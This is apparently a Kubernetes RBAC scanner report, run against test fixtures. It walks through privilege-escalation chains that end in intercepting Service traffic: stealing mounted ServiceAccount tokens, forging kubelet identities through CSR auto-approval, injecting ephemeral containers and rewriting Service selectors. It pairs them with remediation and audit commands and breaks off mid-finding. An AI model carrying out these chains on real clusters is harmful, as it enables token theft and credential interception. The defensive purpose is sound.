What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  4. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/rbac-fixtures/sa-workload-mutate Cluster 7.0
ServiceAccount/rbac-fixtures/sa-workload-mutate can intercept in-cluster Service traffic in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-workload-mutate → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/rbac-fixtures/sa-workload-mutate

Subject ServiceAccount/rbac-fixtures/sa-workload-mutate has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/hookbackend-fixtures/hookbackend-operator via workload_create_token_theft (create deployments/daemonsets/statefulsets/jobs/cronjobs): can create a workload whose pods run as ServiceAccount hookbackend-fixtures/hookbackend-operator
2. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-workload-mutate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-workload-mutate, the attacker creates a workload (create deployments/daemonsets/statefulsets/jobs/cronjobs) whose pod template runs as ServiceAccount/hookbackend-fixtures/hookbackend-operator. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.
  3. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  4. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create deployments/daemonsets/statefulsets/jobs/cronjobs
    Gives the attacker can create a workload whose pods run as ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the permission create deployments/daemonsets/statefulsets/jobs/cronjobs that enables the first hop (ServiceAccount/rbac-fixtures/sa-workload-mutate → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 7.0
ServiceAccount/vulnerable/privileged-reader can intercept in-cluster Service traffic in 2 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-reader → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (2 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/vulnerable/privileged-reader → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
2. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  4. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-reader → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  2. Step 2 of 2 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-reader → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner Cluster 6.7
ServiceAccount/nodeid-fixtures/nodeid-joiner can intercept in-cluster Service traffic in 4 hop(s)
Scope · Cluster Source ServiceAccount/nodeid-fixtures/nodeid-joiner → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/nodeid-fixtures/nodeid-joiner

Subject ServiceAccount/nodeid-fixtures/nodeid-joiner has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (4 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/nodeid-fixtures/nodeid-joiner → / via csr_nodeclient_autoapprove (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
2. ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create via node_token_request (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
3. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
4. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/nodeid-fixtures/nodeid-joiner.
  2. Acting as ServiceAccount/nodeid-fixtures/nodeid-joiner, the attacker submits a CertificateSigningRequest for the kubernetes.io/kube-apiserver-client-kubelet signer naming system:node:<name> in system:nodes (create certificatesigningrequests + create certificatesigningrequests/nodeclient). The controller manager's CSR approver asks the API server whether the requester may create certificatesigningrequests/nodeclient; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.
  3. Holding a node identity, the attacker requests a token for ServiceAccount ServiceAccount/rbac-fixtures/sa-pod-create through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as ServiceAccount/rbac-fixtures/sa-pod-create.
  4. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  5. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  6. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 4 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 4 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there
  3. Step 3 of 4 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  4. Step 4 of 4 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 3 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 6.6
ServiceAccount/privesc-fixtures/sa-ephemeral can intercept in-cluster Service traffic in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeral → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that terminates in control over where a Service's traffic goes. A Service's backends are derived from the IPs its selected pods report in their status, and that status is an ordinary API subresource: a subject that can write it rewrites a pod's podIP, the EndpointSlice controller republishes the address, and kube-proxy re-points the Service at it within a second. Clients resolve the Service name as before and connect to the attacker.

The chain (3 hop(s); each step uses an explicit RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
2. ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator via pod_create_token_theft (create pods): can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
3. ServiceAccount/hookbackend-fixtures/hookbackend-operator → / via service_backend_rewrite (get,list,patch services): can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses

What this yields depends on who calls the intercepted Service. For an application Service it is that application's credentials and data. For a Service that backs an admission webhook or an aggregated API, the clients are the API server itself, and the position becomes admission bypass or control-plane credential capture. The hop's difficulty says how durable the position is: hard when the pod's kubelet corrects the status every 10 seconds and the attacker must keep writing it, moderate when a selected Service publishes not-ready addresses and a selected pod has no node, so nothing ever corrects it.

Impact Adversary-in-the-middle position on one or more in-cluster Services: capture of bearer tokens, credentials, and request bodies that the Service's clients send, and the ability to alter responses. For a webhook or aggregated-API backend, this is admission bypass or API-server credential capture.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/rbac-fixtures/sa-pod-create via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create.
  3. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker creates a pod that mounts the ServiceAccount/hookbackend-fixtures/hookbackend-operator ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  4. Acting as ServiceAccount/hookbackend-fixtures/hookbackend-operator, the attacker rewrites a Service's spec (get,list,patch services): its selector, so it points at pods the attacker controls, its ports, or its type (an ExternalName sends clients to a hostname of the attacker's choosing). The controller republishes the backends within a second and clients resolve the Service name as before, so they connect to the attacker.
  5. Final step: the Service's clients connect to an address the attacker controls. Every request they send arrives there first: bearer tokens in Authorization headers, webhook payloads, database credentials in connection strings. The attacker reads or alters them and forwards the request to the real backend, so nothing breaks and nothing is logged on the client side.
  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount hookbackend-fixtures/hookbackend-operator
  3. Step 3 of 3 Service rewrite: re-pointing a Service service_backend_rewrite

    A Service's selector, ports, and type are plain spec fields. Rewriting the selector points the Service at pods the attacker controls, and the EndpointSlice controller republishes the backends within a second; changing the type to ExternalName sends clients to a hostname of the attacker's choosing. Clients resolve the same name and connect to the new backend.

    The built-in edit ClusterRole carries this verb, so inside a tenant's own namespace it is expected. It matters where the reach is more than the tenant's own Services: cluster-wide, or in a namespace that hosts a Service the API server itself calls.

    From ServiceAccount/hookbackend-fixtures/hookbackend-operator
    Permission granted get,list,patch services
    Gives the attacker can rewrite the selector, ports, or type of Services in hookbackend-fixtures, steering their traffic to backends it chooses
Remediation
Remove write access to pods/status (and to endpointslices, endpoints, and services) from identities that are not the kubelet or a core controller, then break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  1. Break the chain at: remove the create pods capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-pod-create → ServiceAccount/hookbackend-fixtures/hookbackend-operator).
  2. Audit who can write pod status: kubectl get clusterroles,roles -A -o json | jq -r '.items[] | select(.rules[]?.resources[]? == "pods/status") | "\(.kind) \(.metadata.namespace // "-")/\(.metadata.name)"'. Expect system:node and a handful of system:controller:* roles, nothing bound to a workload.
  3. Alert on pods/status writes from identities that are not system:node:*: the audit event's user.username and objectRef.subresource fields identify them directly.
  4. For Services whose clients carry credentials (webhook backends, aggregated APIs, internal APIs), move the clients to mutual TLS or to an mTLS service mesh so a redirected backend cannot present the expected identity.
  5. Avoid publishNotReadyAddresses: true on Services whose backends are not fully owned by the same team, since it publishes the status of pods no kubelet corrects.
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 6.6
ServiceAccount/privesc-fixtures/sa-pod-exec can intercept in-cluster Service traffic in 3 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-exec → Service traffic interception
Category: Lateral Movement Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

